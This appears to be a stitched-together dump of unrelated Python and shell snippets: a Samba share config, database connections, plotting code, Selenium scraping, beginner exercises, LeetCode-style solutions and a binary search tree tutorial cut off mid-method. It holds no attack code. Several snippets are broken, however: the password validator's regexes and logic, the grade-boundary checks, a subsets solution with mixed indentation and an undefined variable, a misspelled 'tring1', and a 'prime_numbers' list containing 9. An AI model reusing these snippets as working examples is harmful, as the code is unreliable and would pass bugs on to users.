$ sudo nano /etc/samba/smb.conf

#and just at the bottom add these lines:

    [share]
    comment = Ubuntu File Server Share
    path = /path/to/the/folder  #for example /home/user_name/public
    browsable = yes
    guest ok = yes
    read only = no
    create mask = 0755

#restart the samba service

$ sudo service smbd restart
$ sudo service nmbd restart
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
requires:

1) Install Linux dependences (search for specific linux distro instructions for this):
python-dev, python-pip, freetds-dev, freetds-bin, libaio1

2) Install instantclient-basic-lite
follow these instructions:

http://www.oracle.com/technetwork/database/features/linuxx86-64soft-092277.html?printOnly=1
(go to "Installation of ZIP files" section at the bottom of document)

3) Install python includes:

sudo -H pip install cx_Oracle
sudo -H pip install pymssql

"""

import cx_Oracle
import pymssql

""" ====== let's connect to Oracle DB Server ====="""

orcl_host = "host1"
orcl_port = 1521
orcl_user = "user1"
orcl_pwd  = "password1"
orcl_dbn  = "service_name"

connstr = orcl_user+"/"+orcl_pwd+"@"+orcl_host+":"+str(orcl_port)+"/"+orcl_dbn
orcl = cx_Oracle.connect(connstr)

#If all is correct we will see and object print:

print(orcl)

"""===== let's connect to sqlsvr: ====="""

sql_host = "host2"
sql_user = "user2"
sql_pwd  = "password2"
sql_dbn  = "database_name"

conexion_sql = pymssql.connect(sql_host, sql_user, sql_pwd, sql_dbn)

#If all is correct we will see and object print:

print(conexion_sql)

# Setup fake key in both DataFrames to join on it

df1['key'] = 0
df2['key'] = 0

df1.merge(df2, on='key', how='outer')
[name for name,para in model.named_parameters() if para.grad==None]
TORCH_DISTRIBUTED_DEBUG=DETAIL bash train.sh 
num_folds = 10
kfold = KFold(n_splits=num_folds, shuffle=True)
# K-fold Cross Validation model evaluation
fold_no = 1
histories = {'accuracy':[], 'loss':[], 'val_accuracy':[], 'val_loss':[]}

for train, test in kfold.split(X, label):
  print("---"*20)
  history = siamese.fit(
      [tf.gather(X[:,0], train),tf.gather(X[:,1], train)],
      tf.gather(label, train),
      validation_data=([tf.gather(X[:,0], test),tf.gather(X[:,1], test)], tf.gather(label, test)),
      batch_size=batch_size,
      epochs=epochs,
  )
  histories['accuracy'].append(history.history['accuracy'])
  histories['loss'].append(history.history['loss'])
  histories['val_accuracy'].append(history.history['val_accuracy'])
  histories['val_loss'].append(history.history['val_loss'])
with open('./trainHistoryDict', 'wb') as file_pi:
      pickle.dump(histories, file_pi)
from tkinter import *                  # =================== مرحله 1
# writing code needs to
# create the main window of
# the application creating
# main window object named root
root = Tk()                             # ======================  مرحله 2
# giving title to the main window
root.title("First_Program")
# Label is what output will be
# show on the window
label = Label(root, text ="Hello World !").pack()      #===== مرحله 3
# calling mainloop method which is used
# when your application is ready to run
# and it tells the code to keep displaying
root.mainloop()                        #===================== مرحله 4
import requests

url = 'SOME URL'

headers = {
    'User-Agent': 'My User Agent 1.0',
    'From': 'youremail@domain.example'  # This is another valid field
}

response = requests.get(url, headers=headers)
from selenium import webdriver
import requests

driver = webdriver.Chrome()
driver.get("https://www.linkedin.com/uas/login?")

s = requests.Session()
# Set correct user agent
selenium_user_agent = driver.execute_script("return navigator.userAgent;")
s.headers.update({"user-agent": selenium_user_agent})

for cookie in driver.get_cookies():
    s.cookies.set(cookie['name'], cookie['value'], domain=cookie['domain'])

response = s.get("https://linkedin/example_page.com")
import seaborn as sns

penguins = sns.load_dataset('penguins')
ax = sns.histplot(data=penguins, x="flipper_length_mm", kde=True,
                  line_kws={'color': 'crimson', 'lw': 5, 'ls': ':'})
from bokeh.plotting import figure, output_file, show
xs = [[5,3,4], [2,4,3], [2,3,5,4]]
ys = [[6,4,2], [3,6,7], [2,4,7,8]]
fig = figure()
fig.patches(xs, ys, fill_color = ['red', 'blue', 'black'], line_color = 'white')
output_file('patch_plot.html')
show(fig)
from bokeh.plotting import figure, output_file, show
fig = figure(plot_width = 200, plot_height = 400)
fig.vbar(x = [1,2,3], width = 0.5, bottom = 0, top = [2,4,6], color = "Cyan")
output_file('bar.html')
show(fig)
from bokeh.plotting import figure, output_file, show
fig = figure(plot_width = 400, plot_height = 200)
fig.hbar(y = [2,4,6], height = 1, left = 0, right = [1,2,3], color = "Cyan")
output_file('bar.html')
show(fig)
from bokeh.plotting import figure, output_file, show
x = [1,2,3,4,5]
y = [2,4,6,8,10]
output_file('line.html')
fig = figure(title = 'Line Plot example', x_axis_label = 'x', y_axis_label = 'y')
fig.line(x,y)
show(fig)
import re

print('Welcome to temperature converter. Please enter your input in this format: 40.0F, 35C, 0.50F etc.')

temperature = input("Please enter temperature in Farenheit or Celcius to convert:\n")

pattern = re.compile("^([+-]?[0-9]+(?:\.[0-9]*)?)\s*([CF])$")

found = re.findall(pattern, temperature)

if len(found) > 0:

    temp = float(found[0][0])
    conversion = found[0][1]

    if conversion == 'C':
        fahrenheit = (temp * 9 / 5) + 32
        print(f"{temp: .2f} Celcius is equivalent to {fahrenheit: .2f} Farenheit")
    elif conversion == 'F':
        celcius = (temp - 32) * 5 / 9
        print(f"{temp: .2f} Farenheit is equivalent to {celcius: .2f} Celcius")


else:
    print(f"""Expecting a number followed by "C" or "F" \n I don't understand your input: {temperature}""")
import random

#you can pass these message in the variables below right inside the print function
#but i decided to put them in a variable
small = 'is small'
large = 'is large'

number = random.randrange(1, 10)
guess = int(input('Enter any number: '))
while number != guess:
    if guess < number:
        print(guess, small)
        guess = int(input('Enter number again: '))
    elif guess > number:
        print(guess, large)
        guess = int(input('Enter number again: '))
    else:
        break
print('You guessed it right,', guess, '=', number)
# selenium 4
from selenium import webdriver
from selenium.webdriver.chrome.service import Service as ChromeService
from webdriver_manager.chrome import ChromeDriverManager

driver = webdriver.Chrome(service=ChromeService(ChromeDriverManager().install()))
import urllib.request

url = 'https://pdf_file_path/filename.pdf'

urllib.request.urlretrieve(url, 'filename.pdf')
date_from=(pd.Timestamp.today()-pd.Timedelta(30,'d')).strftime('%Y-%m-%d')
while True:
    try:
        marks = int(input("Enter your marks 0 to 100 to see your grade: "))
    except ValueError:
        print('Invalid input, try again')
        continue
    else:
        break
if marks > 100:
    print('Invalid marks')   
elif marks > 90 < 100:
    print('Grade A')
elif marks > 80 <= 90:
    print('Grade B')
elif marks >= 60 <= 80:
    print('Grade C')
elif marks < 60:
    print('Grade D')
else:
    print('You have failed')
import turtle
import random

w = 500
h = 500
food_size = 20
delay = 100

offsets = {
    "up": (0, 20),
    "down": (0, -20),
    "left": (-20, 0),
    "right": (20, 0)
}

def reset():
    global snake, snake_dir, food_position, pen
    snake = [[0, 0], [0, 20], [0, 40], [0, 60], [0, 80]]
    snake_dir = "up"
    food_position = get_random_food_position()
    food.goto(food_position)
    move_snake()
    
def move_snake():
    global snake_dir
    
    new_head = snake[-1].copy()
    new_head[0] = snake[-1][0] + offsets[snake_dir][0]
    new_head[1] = snake[-1][1] + offsets[snake_dir][1]
    
    if new_head in snake[:-1]:
        reset()
    else:
        snake.append(new_head)
        
        if not food_collision():
            snake.pop(0)
        if snake[-1] [0] > w / 2:
            snake[-1] [0] -= w
        elif snake[-1] [0] < - w /2:
            snake[-1] [0] += w
        elif snake[-1] [1] > h / 2:
            snake[-1] [1] -= h
        elif snake[-1] [1] < - h / 2:
            snake[-1] [1] += h
        
        pen.clearstamps()
        
        for segment in snake:
            pen.goto(segment[0], segment[1])
            pen.stamp()
        
        screen.update()
        
        turtle.ontimer(move_snake, delay)
        
def food_collision():
    global food_position
    if get_distance(snake[-1], food_position) < 20:
        food_position = get_random_food_position()
        food.goto(food_position)
        return True
    return False
    
def get_random_food_position():
    x = random.randint (- w / 2 + food_size, w / 2 - food_size)
    y = random.randint (- h / 2 + food_size, h / 2 - food_size)
    return(x, y)
    
def get_distance(pos1, pos2):
    x1, y1 = pos1
    x2, y2 = pos2
    distance = ((y2 - y1) ** 2 + (x2 - x1) ** 2) ** 0.5
    return distance

def go_up():
    global snake_dir
    if snake_dir != "down":
        snake_dir = "up"
            
def go_right():
    global snake_dir
    if snake_dir != "left":
        snake_dir = "right"
            
def go_down():
    global snake_dir
    if snake_dir != "up":
        snake_dir = "down"
            
def go_left():
    global snake_dir
    if snake_dir != "right":
        snake_dir = "left"
            
screen = turtle.Screen()
screen.setup(w, h)
screen.title("Snake Game")
screen.bgcolor("cyan")
screen.setup(500, 500)
screen.tracer(0)
    
pen = turtle.Turtle("square")
pen.color("red")
pen.penup()
    
food = turtle.Turtle()
food.shape("circle")
food.color("orange")
food.shapesize(food_size / 20)
food.penup()
    
screen.listen()
screen.onkey(go_up, "Up")
screen.onkey(go_right, "Right")
screen.onkey(go_down, "Down")
screen.onkey(go_left, "Left")
    
reset()
turtle.done()
import turtle
import colorsys

t = turtle.Turtle()
s = turtle.Screen()
s.bgcolor('black')
t.speed(0)
n = 36
h = 0
for i in range(360):
    c = colorsys.hsv_to_rgb(h, 1, 0.8)
    h+= 1/n
    t.color(c)
    t.circle(180)
    t.left(10)
import re
p = input('Input your password: ')
x = True
while x:
    if(len(p)<6 or len(p)>12):
        break
    elif not re.search('[a - z]', p):
        break
    elif not re.search('[0 - 9]', p):
        break
    elif not re.search('[A - Z]', p):
        break
    elif not re.search('[$#@]', p):
        break
    elif not re.search('\s', p):
        break
    else:
        print('Valid Password')
        x = False
        break
if x:
    print('Not a Valid Password')
kilometers = float(input('Enter value in kilometer: '))
conv_fac = 0.621371

miles = kilometers * conv_fac
print(kilometers,'kilometers is equal to', miles, 'miles')
vowels = ['a', 'e', 'i', 'o', 'u']
word = 'enter'
found = []
for letter in word:
    if letter in vowels:
        if letter not in found:
            found.append(letter)
for vowel in found:
    print(vowel)
else:
    print('No vowels found')
import streamlit as st

st.header('''Temperature Conversion App''')

st.write('''Slide to convert value to Fahrenheit''')
value = st.slider('Temperature in Fahrenheit')

st.write(value, '°F is ', (value * 9/5) + 32, '°C')

#Converting temperature to Fahrenheit
st.write('''Slide to convert value to Fahrenheit''')
value = st.slider('Temperature in Celcius')

st.write(value, '° is ', (value - 32) * 5/9, '°C')
fruits = ['cherry', 'apple', 'pear', 'kiwi', 'watermelon']

a, b, c = fruits

print(a)
print(b)
print(c)
import webbrowser

#favorite browser 
webbrowser.open('https://www.chrome.com')
 """ 
'UserWarning: pyproj unable to set database path.' <- This happens with multiple pyproj installations on the same machine, which is quite common, as almost every geo software depends on it.

How to fix:
First, find all copies of 'proj.db' on the machine. Get the path for the correct one, which is probably something like 'C:/Users/Clemens Berteld/.conda/pkgs/proj-8.2.0-h1cfcee9_0/Library/share/proj'. Definitively not a QGIS or PostGIS path.

Then, use it as a parameter for this function and run it at the top of your code:
"""

def set_pyproj_path(proj_path):
    from pyproj import datadir
    datadir.set_data_dir(proj_path)
    # print(datadir.get_data_dir.__doc__)
class Solution:
    def lastStoneWeight(self, stones: List[int]) -> int:
        stones = [-s for s in stones] 
        heapq.heapify(stones)
        
        while len(stones) > 1: 
            first = abs(heapq.heappop(stones)) #linear time for python 
            second = abs(heapq.heappop(stones))
            
            
            if first > second: 
                heapq.heappush(stones, second - first) #remember that since it's a minHeap we need negative numbers so it's second - first 
        
        #edge case to account if stones is empty whether originally or after smashing 
        stones.append(0)
        
        return abs(stones[0])
def solution(s, t):
    result = []
    for i in range(len(s)):
        if s[i] in t:
            coll = set()
            for j in range(i, len(s)):
                if s[j] in t:
                    coll.add(s[j])
                    if len(coll) == len(t):
                        result.append(s[i:j+1])
    if result:
        return min(result, key=len)
    
    return ""
    


import sys
import time
import random
import datetime
import telepot

def handle(msg):
    chat_id = msg['chat']['id']
    command = msg['text']

    print 'Got command: %s' % command

    if command == 'command1':
        bot.sendMessage(chat_id, *******)
    elif command == 'command2':
        bot.sendMessage(chat_id, ******)
    elif command == 'photo':
        bot.sendPhoto(...)

bot = telepot.Bot('*** INSERT TOKEN ***')
bot.message_loop(handle)
print 'I am listening ...'

while 1:
    time.sleep(10)
# create a list
prime_numbers = [2, 3, 5, 7, 9, 11]

# remove 9 from the list
prime_numbers.remove(9)


# Updated prime_numbers List
print('Updated List: ', prime_numbers)

# Output: Updated List:  [2, 3, 5, 7, 11]
class KthLargest:
	
    #Big O: n 
    def __init__(self, k: int, nums: List[int]): 
        #minHeap with k largest integers 
        
        self.minHeap, self.k = nums, k 
        heapq.heapify(self.minHeap) 
        
        while len(self.minHeap) > k: 
            heapq.heappop(self.minHeap) 
            
        

    #Big O: log N 
    def add(self, val: int) -> int:
        heapq.heappush(self.minHeap, val) 
        
        if len(self.minHeap) > self.k: 
            heapq.heappop(self.minHeap)
        
        return self.minHeap[0]
    

#Total big O: n log n 
    
    
    
# Your KthLargest object will be instantiated and called as such:
# obj = KthLargest(k, nums)
# param_1 = obj.add(val)
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=42)
import psycopg2

con = psycopg2.connect(database="pegasus", user=dbutils.secrets.get(scope = "dfh-prdsrc-keyvault-01", key = "user-pgsus-prd-02"), password=dbutils.secrets.get(scope = "dfh-prdsrc-keyvault-01", key = "pass-pgsus-prd-02"), host="pgsus-prd-dbpgres-01.postgres.database.azure.com", port="5432")

cur = con.cursor()

#cur.execute("UPDATE public.dc_parametrization set is_active= 'Y' where folder_name='sysgrid'")#.format(raw_table_name))
#cur.execute("UPDATE public.dc_parametrization set initial_load_flg = 'Y' where folder_name= 'sim-f'")#.format(raw_table_name))
cur.execute("UPDATE public.dc_parametrization set initial_load_flg = 'Y' where folder_name= 'q16_senv'")#.format(raw_table_name))
#cur.execute("UPDATE public.dc_parametrization set initial_load_flg = 'Y' where folder_name= 'jump'")#.format(raw_table_name))
#cur.execute("select * from public.dc_parametrization where folder_name= 'senv-sgcc'")

con.commit()
from pyspark.sql import functions as F
import pyspark.sql.types as Dtype
 
columns_to_normalize = ["MakeText", "BodyColorText"]
col_to_settings = dict({
        
    "MakeText": dict(
        {
            "MERCEDES-BENZ": "Mercedes",
            "FERRARI": "Ferrari"
        }
    ),
    "BodyColorText": dict(
        {
            "schwarz": "Black",
            "schwarz mét.": "Black",
            "braun": "Brown",
            "braun mét.": "Brown",
            "orange": "Orange"
        }
    )
})
 
def normalizer(value, col):
 
    settings = col_to_settings.get(col).get(value)
    return str(settings)
    
##normalize_column = udf(lambda x: normalizer(x, col), Dtype.StringType())
 
pre = spark.read.option("header","true").format("csv").load("/mnt/mducdevdl/mdu/valid/viaturas.csv")
 
for col in columns_to_normalize:
  print(col)
  
  normalize_column = udf(lambda x: normalizer(x, col), Dtype.StringType())
 
  pre = pre.withColumn(col, normalize_column(pre[col]))
  pre.select(col).distinct().show()
# Connect to GCP
from google.colab import auth
# follow the link and get a token
auth.authenticate_user()
# !pip install -q kaggle-cli
!pip install -qq kaggle
!mkdir -p ~/.kaggle
!cp "/content/drive/MyDrive/kaggle.json" ~/.kaggle/
!chmod 600 ~/.kaggle/kaggle.json
from google.colab import drive
drive.mount('/content/drive' , force_remount=True)
class Solution:
    def binarySearch(self, nums, target):
        start, end = 0, len(nums) - 1 

        while start <= end: 
            middle = (start + end) // 2 
            current = nums[middle] 

            if target > current: 
                start = middle + 1 
            elif target < current: 
                end = middle - 1 
            else: 
                return middle
                #return current if you want value instead of index 
        return -1 
    
    
    def search(self, nums: List[int], target: int) -> int:
        if len(nums) == 0: 
            return -1 
        elif len(nums) == 1: 
            if nums[0] != target: 
                return -1 
            else: 
                return 0 
        else: 
            rotated = False
            lastIdx = len(nums) - 1 

            if nums[lastIdx] < nums[0]: 
                rotated = True 

            if rotated == False: 
                return self.binarySearch(nums, target) 
            else: 
                previous = nums[0]
                rotateIdx = 0 
                for i in range(1, len(nums)): 
                    if nums[i] < previous: 
                        rotateIdx = i 
                    previous = nums[i]
                    
                array1 = nums[:rotateIdx]
                array1Length = len(array1)
                array2 = nums[rotateIdx:] 

                if self.binarySearch(array1, target) == -1 and self.binarySearch(array2, target) != -1: 
                    return array1Length + self.binarySearch(array2, target)
                return self.binarySearch(array1, target)
# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:
        dummy = ListNode(0, head)
        left = dummy 
        right = head #we actually want right to be head + n 
        
        #setting right to be head + n 
        while n > 0 and right: 
            right = right.next 
            n -= 1 
        
        #this should get left at previous and right at after thanks to dummy node we inserted 
        while right: 
            left = left.next
            right = right.next 
        
        #delete node 
        left.next = left.next.next 
        
        return dummy.next 



#bottom solution is what I first came up with and works in leetcode except for if head = [1] and n = 1 which is the case I tried to account for in the second elif statement but it gave me an error saying cannot return [] even though it was fine for the first if statement 

#big O: is still O(n) just like 1st scenario 

class Solution: 
	def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:
    	if head is None: 
            return []
        elif head.next is None and n == 1: 
            return []
        else: 
            current = head
            counter = 0 #will become length of LL 
            
            #to determine length of LL 
            while current is not None: 
                counter += 1 
                current = current.next 
                
            #consider adding an edge case here if n > counter 
            
            #second pass now knowing length of LL 
            previous, current = head, head 
            new_counter = 0 
            target = counter - n 
            while new_counter is not target + 1: 
                if new_counter == (target - 1): 
                    previous = current 
                if new_counter == target: 
                    after = current.next 
                    previous.next = after 
                    current.next = None 
                    break 


                current = current.next 


                new_counter += 1

            return head 











from telethon import events, TelegramClient


bot = TelegramClient(BOT_SESSION,
                     BOT_API_ID,
                     BOT_API_HASH).start(bot_token=BOT_TOKEN)


@bot.on(events.NewMessage(pattern='/greeting'))
async def greeting(event):
    async with bot.conversation(await event.get_chat(), exclusive=True) as conv:
        await conv.send_message('Hi!')
        hello = await conv.get_response()
        await conv.send_message('Please tell me your name')
        name = await conv.get_response().raw_text
        await conv.send_message(f'Thanks {name}!')
print df.groupby('value')['tempx'].apply(' '.join).reset_index()
   value                                              tempx
0    1.5  picture1 picture555 picture255 picture365 pict...
#solution involving minHeap 
#Strategy: 
#1) Take out the smallest number from the heap, and
#2) Insert the larger number into the heap.
#3) repeat 
#This will ensure that we always have ‘K’ largest numbers in the heap. The most efficient way to repeatedly find the smallest number among a set of numbers will be to use a min-heap.


#Big O n log k. Space: O (k) 

from heapq import *
#this is a heap library. look at relevant functions: https://docs.python.org/3/library/heapq.html 


def find_k_largest_numbers(nums, k):
  minHeap = []
  # put first 'K' numbers in the min heap
  for i in range(k):
    heappush(minHeap, nums[i])

  # go through the remaining numbers of the array, if the number from the array is bigger than the
  # top(smallest) number of the min-heap, remove the top number from heap and add the number from array
  for i in range(k, len(nums)):
    if nums[i] > minHeap[0]:
    #heapop removes smallest element in heap 
      heappop(minHeap)
      heappush(minHeap, nums[i])

  # the heap has the top 'K' numbers
  return minHeap


#brute force approach has big O of n log N 
def find_k_largest_numbers(nums, k):
  result = []
  
  nums.sort() 
  nums_length_index = len(nums) - 1 - k 

  for i in range(nums_length_index + 1, len(nums)): 
    result.append(nums[i]) 
  
  return result

find_k_largest_numbers([3, 1, 5, 12, 2, 12], 3) # will result in [5, 12, 12] 


#if you dont want duplicates you can do the following: 
def find_k_largest_numbers(nums, k):
  result = []
  
  nums.sort() 
  nums_set = set(nums)
  nums_length_index = len(nums_set) - 1 - k 

  for i in range(nums_length_index + 1, len(nums_set)): 
    result.append(nums[i]) 
  
  return result
#solution where you just take subset I and replace last return statement 
class Solution:
    def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:

   
        subset = [] 
        result = [] 
        
        #i is index of subset 
        def dfs(i): 
            if i >= len(nums): 
                result.append(subset.copy())
                return 
            
            #decision to include nums[i]
            subset.append(nums[i])
            #this recursive call will be given filled subset 
            dfs(i + 1)
            
            #decision NOT to include nums[i] 
            subset.pop()
            #this recursive call will be given empty subset 
            dfs(i + 1)
        
        dfs(0) 
        
        #need to remove duplicate sublists within result 
        return ([list(i) for i in {*[tuple(sorted(i)) for i in result]}])  
  

#solution to prevent duplicates in the first place
class Solution:
    def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:

   
        result = []
		nums.sort() 

		def backtrack(i, subset): 
        	if i == len(nums): 
            	res.append(subset.copy())
				return 
			
			#all subsets that include nums[i] 
            subset.append(nums[i]) 
			backtrack(i + 1, subset) 
			#remove number we just added 
            subset.pop()
            
            #all subsets that don't include nums[i]
        	while i + 1 < len(nums) and nums[i] == nums[i + 1]: 
            	i += 1 
			backtrack(i + 1, subset)
		
		backtrack(0, [])
		
		return result 
        
        
        
        
#solution for array with unique integer array. only last return line is dfferent 
class Solution:
    def subsets(self, nums: List[int]) -> List[List[int]]:
        subset = [] 
        result = [] 
        
        #i is index of subset 
        def dfs(i): 
            if i >= len(nums): 
                result.append(subset.copy())
                return 
            
            #decision to include nums[i]
            subset.append(nums[i])
            #this recursive call will be given filled subset 
            dfs(i + 1)
            
            #decision NOT to include nums[i] 
            subset.pop()
            #this recursive call will be given empty subset 
            dfs(i + 1)
        
        dfs(0) 
        
        return result 
        
        
        
def solution(n, k):
    return climb(n, k, [])
    
        
        
def climb(n, k, jumps):
    if n == 0:
        return [jumps]
    
    out = []
    
    for i in range(1, k+1):
        if i > n:
            continue
            
        temp = jumps + [i] 
        out += climb(n-i, k, temp)
        
    return out
class Solution:
    #number of permutations = n! 
    def permute(self, nums: List[int]) -> List[List[int]]:
        result = []
    
        if len(nums) == 1: 
            return [nums[:]] 
        
        for i in range(len(nums)): 
            #pop off first element 
            n = nums.pop(0)
            
            #numswill now have one less value, will append popped value later 
            perms = self.permute(nums) 
            
            for perm in perms: 
                perm.append(n)
            
            result.extend(perms)
            #adding popped back 
            nums.append(n) 
        
        return result 
 
class Solution:

    def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:
        result = []
        
        #i is index of candidates 
        def dfs(i, current, total): 
            if total == target: 
              #if you do not add .copu() it will append empty arrays 
                result.append(current.copy())
                return 
            if i >= len(candidates) or total > target: 
                return 

            #decision tree has 2 options: 1) add candidates[i] or 2) do not add and move on to next index 
            
            #1) try adding candidates[i]
            current.append(candidates[i])
            dfs(i, current, total + candidates[i])
            #2) move on to next index 
            current.pop() 
            dfs(i + 1, current, total)
        
        dfs(0, [], 0)
        return result 
def set_seed(seed=42):
    """
    sets the integer starting value used in generating random numbers.
    comment out packages/frameworks not in use as per your choice 
    """
    np.random.seed(seed)
    os.environ['PYTHONHASHSEED'] = str(seed)
    random.seed(seed)
    tf.random.set_seed(seed)
    torch.manual_seed(seed)
    torch.cuda.manual_seed(seed)
    torch.backends.cudnn.deterministic = True
#Create variables:my_age,half_my_age ,greeting,  name
#greeting_with_name
#Assign values to each using your knowledge of division and concatenation!


my_age = 22
half_my_age = my_age / 2
greeting = "How's your day been"
name = "Abubakar"
greeting_with_name = greeting + name
to_you = """Stranger, if you passing meet me and desire to speak to me, why
  should you not speak to me?
And why should I not speak to you?"""

print(to_you)
#Multi-line Strings
Python strings are very flexible, but if we try to create a string that occupies multiple lines we find ourselves face-to-face with a SyntaxError. Python offers a solution: multi-line strings. By using three quote-marks #(""" or ''') #instead of one, we tell the program that the string doesn’t end until the next triple-quote. This method is useful if the string being defined contains a lot of quotation marks and we want to be sure we don’t close it prematurely.

leaves_of_grass = """
Poets to come! orators, singers, musicians to come!
Not to-day is to justify me and answer what I am for,
But you, a new brood, native, athletic, continental, greater than
  before known,
Arouse! for you must justify me.
"""
total_price = 0

new_sneakers = 50.00

total_price += new_sneakers

nice_sweater = 39.00
fun_books = 20.00
# Update total_price here:

total_price += nice_sweater
total_price += fun_books

print("The total price is", total_price)
# First we have a variable with a number saved
number_of_miles_hiked = 12
 
# Then we need to update that variable
# Let's say we hike another two miles today
number_of_miles_hiked += 2
 
# The new value is the old value
# Plus the number after the plus-equals
print(number_of_miles_hiked)
# Prints 14


hike_caption = "What an amazing time to walk through nature!"
 
# Almost forgot the hashtags!
hike_caption += " #nofilter"
hike_caption += " #blessed"
class Solution:
    def subsets(self, nums: List[int]) -> List[List[int]]:
        subset = [] 
        result = [] 
        
        #i is index of subset 
        def dfs(i): 
            if i >= len(nums): 
                result.append(subset.copy())
                return 
            
            #decision to include nums[i]
            subset.append(nums[i])
            #this recursive call will be given filled subset 
            dfs(i + 1)
            
            #decision NOT to include nums[i] 
            subset.pop()
            #this recursive call will be given empty subset 
            dfs(i + 1)
        
        dfs(0) 
        
        return result 
        
        
class Tree(object):
  def __init__(self, x, left=None, right=None):
    self.value = x
    self.left = left
    self.right = right 

x = Tree(1, Tree(0, Tree(1), Tree(3)), Tree(4))


def solution(t): 
    if not t: 
        return 0 
    
    stack = [(t, 0)]
    branchesSum = 0 
    
    while stack: 
        node, v = stack.pop() 
        if node.left or node.right:
        #depth first search 
        # the v is a little confusing to understand but easier to see in python tutor 
        # it goes from 1 to 10 to 100 etc. based on the height of the branch 
        # can probably do something like str() and converting back to int() as well 
            if node.left: 
                stack.append((node.left, node.value + v * 10)) 
            if node.right: 
                stack.append((node.right, node.value + v * 10)) 
        else: 
            branchesSum += node.value + v * 10 
    return branchesSum 
tring1 = "The wind, "
string2 = "which had hitherto carried us along with amazing rapidity, "
string3 = "sank at sunset to a light breeze; "
string4 = "the soft air just ruffled the water and "
string5 = "caused a pleasant motion among the trees as we approached the shore, "
string6 = "from which it wafted the most delightful scent of flowers and hay."

# Define message below:
message = string1+string2+string3+string4+string5+string6

print(message)
# Prints 4 because 29 / 5 is 5 with a remainder of 4
print(29 % 5)
 
# Prints 2 because 32 / 3 is 10 with a remainder of 2
print(32 % 3)
 
# Modulo by 2 returns 0 for even numbers and 1 for odd numbers
# Prints 0
print(44 % 2)
In [85]: df[0].str.split('_').str[1:].str.join('_')
Out[85]:
0    toronto_maple-leafs_Canada
1              boston_bruins_US
2             detroit_red-wings
3                      montreal
Name: 0, dtype: object
fig, axes = plt.subplots(rows,cols, figsize=(20,20))
axes = axes.ravel()

for i, col in enumerate(train_df.columns)  :
    sns.histplot(train_df[col], kde=True, stat='density', ax=axes[i])

fig.suptitle("Distribution plot for each feature")
fig.tight_layout()
plt.figure(figsize=(10,10))
# Getting the Upper Triangle of the co-relation matrix
corr = train_df.corr()
matrix = np.triu(corr)
sns.heatmap(corr, mask=matrix, annot=True, annot_kws={"size": 8}, cmap="coolwarm", fmt='.1g');
#
# Binary trees are already defined with this interface:
# class Tree(object):
#   def __init__(self, x):
#     self.value = x
#     self.left = None
#     self.right = None
import math 
def solution(t):
    if t is None: return [] 
    
    stack = [t] 
    result = []
    
    while len(stack) > 0: 
        result.append(max(tree.value for tree in stack)) 
        next_row = [tree.left for tree in stack if tree.left] + [tree.right for tree in stack if tree.right]
        stack = next_row 
    return result 


 #1. Add max value of ‘stack’ to result. 2. Create a new list of all next values for each value in stack. 3. redefine stack to this newly made list. 4. repeat 


#alternate solution 
def solution(t):
    largestValues = []
    q = []
    height = 0
    if t:
        q.append([t, height])
        while q:
            item = q.pop()
            node = item[0]
            currentHeight = item[1]
            if node.left:
                q.insert(0, [node.left, currentHeight + 1] )
            if node.right:
                q.insert(0, [node.right, currentHeight + 1])
            checkLargest(node.value, currentHeight, largestValues)
            
    return largestValues
    
        
def checkLargest(value, height, largestValues):
    if height == len(largestValues):
        largestValues.append(value)
    else:
        if largestValues[height] < value:
            largestValues[height] = value
import chardet
with open(files[0], 'rb') as file:
    print(chardet.detect(file.read()))
if 'MICHAEL89'.casefold() in (name.casefold() for name in USERNAMES):
Or:

if 'MICHAEL89'.casefold() in map(str.casefold, USERNAMES):
As per the docs:

Casefolding is similar to lowercasing but more aggressive because it is intended to remove all case distinctions in a string. For example, the German lowercase letter 'ß' is equivalent to "ss". Since it is already lowercase, lower() would do nothing to 'ß'; casefold() converts it to "ss".
class CircularQueue:
    def __init__(self, size):
        self.size = size
        self.head = 0
        self.tail = 0
        self.buffer = [None] * size
        self.length = 0

    def enqueue(self, value):
        self.length += 1
        self.buffer[self.tail] = value
        self.tail += 1
        if self.tail >= self.size:
            self.tail = 0

    def dequeue(self):
        self.length -= 1
        value = self.buffer[self.head]
        self.head += 1
        if self.head >= self.size:
            self.head = 0
        return value
# //Tree Traversal (visit every node once) 
# //Heavy on recursion 
 
# //Breadth-first (BFS) vs. Depth-first (DFS) 
 
# // DFS: 
# // 1) in order (go in order of value)
# // 2) pre order (start at root)
# // 3) post order (start at botom)
 
 
# //When to use BFS vs. DFS: 
# //For a fully loaded (wide) tree, BFS queue will be overloaded in the start (overloaded space complexity)
# //For a longer tree, DFS will take more memory (more rare, Trees are usually wide)
# //Big O for both is same 
 
# //In order: useful if you want sorted array at end (you don't really know what the root is bc it's in the middle)
# //PreOrder: useful to "export a tree" so that it can be copied bc it flattens it 

class Node: 
  def __init__(self, value): 
    self.value = value 
    self.left = None 
    self.right = None 
 
class BinarySearchTree: 
  def __init__(self): 
    self.root = None 
 
  #adds number to correct place 
  def insert(self, value): 
    #creates new Node   
    new_node = Node(value) 
    #start at root 
    #if no root exists, root becomes new_node 
    if self.root == None: 
      self.root = new_node 
      return self 
    
    current = self.root 
    
    while True: 
      #to handle special case where value is same as current node 
      #you can return None or you can add a counter property 
      if value == current.value: 
        return None 
      #check to see if value is less than current 
      if value < current.value: 
        #check to see if there is node to left 
        #if not, add new_node to left 
        if current.left == None: 
          current.left = new_node 
          return self
        #if there is node to left, move to that node and repeat 
        current = current.left 
      #check to see if value is greater than current 
      else: 
        #check to see if there is node to right 
        #if not, add new_node to right 
        if current.right == None: 
          current.right = new_node 
          return self 
        #if there is node to right, move to that node and repeat 
        current = current.right 
        
  #Breadth first search iterative using queue 
  def BFS(self):
    node = self.root 
    #we will return data 
    data = [] 
    queue = [] 
    #place root node inside queue (recall FIFO)
    queue.append(node) 
    #while queue is not empty 
    while len(queue) > 0: 
      #dequeue node from queue and append to data  
      node = queue.pop(0)
      data.append(node) 
      #if there is left on node dequeued, add to queue 
      if node.left: 
        queue.append(node.left) 
      #if there is right on node dequeued, add to queue 
      if node.right: 
